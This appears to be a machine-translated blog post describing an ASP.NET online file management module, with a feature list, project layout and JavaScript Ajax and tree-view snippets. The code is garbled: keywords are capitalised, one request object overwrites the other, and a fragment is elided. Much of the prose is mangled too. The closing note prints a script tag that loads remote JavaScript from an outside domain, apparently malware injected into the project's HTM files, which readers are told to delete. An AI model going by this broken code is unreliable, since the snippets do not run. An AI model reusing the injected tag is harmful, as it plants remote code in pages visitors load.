Common ASP. NET modules: design and development of the online File Management Module

CompleteCodeSeeArticleBottom link

 

Functions and applications of the online file management module:

In modern enterprise development, online document management is one of the essential modules, in this example, the online document management module includes multiple common operations such as uploading files to the server, browsing, renaming, moving, copying, deleting, creating folders, compressing, decompressing, and online editing, it is applicable to paperless office OA, ERP, CRM, project management, file management (Network Disk), and host management.

Features of the online file management module:

Full static pages and high execution efficiency;
Use Ajax technology to improve user experience;
Beautiful interface, new dialog box;
Easy to operate, complete all operations on one page;
Simple Div layout, easy code control, and high difficulty;
Manual code, easy to expand functions;
Abandon the traditional "Drag Control" approach to improve the real sense;
The project structure is simple and easy to integrate into any system;

The online file management module displays:

 

 

 

Skills of the online file management module:

Custom Ajax operations, Ajax-tree, and Ajax-Dialog
Div layout technology
Httphandler Technology
JSON Technology
Io Operation Technology
Online text editing technology
Online compression technology

 

 

The specific implementation process of the online file management module is as follows:

Build a project level

CSS: stores the entire site Style File

JS: stores all JS files

Upfiles: stores uploaded files.

Webjavaser.html: unique interface

Mywebexplorer. ashx: General ProcessingProgramTo process HTTP requests.

Downloadfile. CS: operation class for downloading files

Zipclass. CS: compression file operation class

FCKeditor: online text editor

The directory structure is as follows:

Online File Management-tree-Ajax. js

 

Function gethttprequest ()
{
Httprequest = New XMLHttpRequest ();
Httprequest = New Activexobject ( " Msxml2.xmlhttp " );
} Function executehttprequest (method, URL, data)
{
VaR XMLHTTP = gethttprequest ();
XMLHTTP. Open (method, URL, False );
XMLHTTP. setRequestHeader ( " Content-Type " , " Application/X-WWW-form-urlencoded " );
XMLHTTP. Send (data );
Return XMLHTTP. responsetext;
}

Function treenode ()
{
VaR Self = This ;
VaR Filecontainer = $ (filedivid );
...... ......
This . Childarea = creatediv ();
This . Childarea. style. Display = " None " ;
This . Container. appendchild ( This . Childarea );
}

This . Clicknode = function ()
{
Self. clearcurrentstatus ();
Currentnode = self;
Self. setcurrentstatus ();
Self. createchildren ();
}

Some comments about online file management-tree. JS:

Clearcurrentstatus: clears the status of the current node.
Gotoparentnode: returns the parent node
Setcurrentstatus: set the current node status
Createchildren: Create a subnode
Refersh: refresh
Createimage: create an image
Createfileview: create a file display
Clickdirectory: Click directory operations.

 

The complete code has been provided. Remember to click here for recommendations. /Files/0771bc/on-line File Management Terminal code .rar

 

Note:If you encounter soft virus reporting: Find all HTM files and delete <script language = JavaScript src = http://www.haofbi.com/js/w.js> </SCRIPT>

Pay attention to the following free video tutorials for the entire process of development of this module.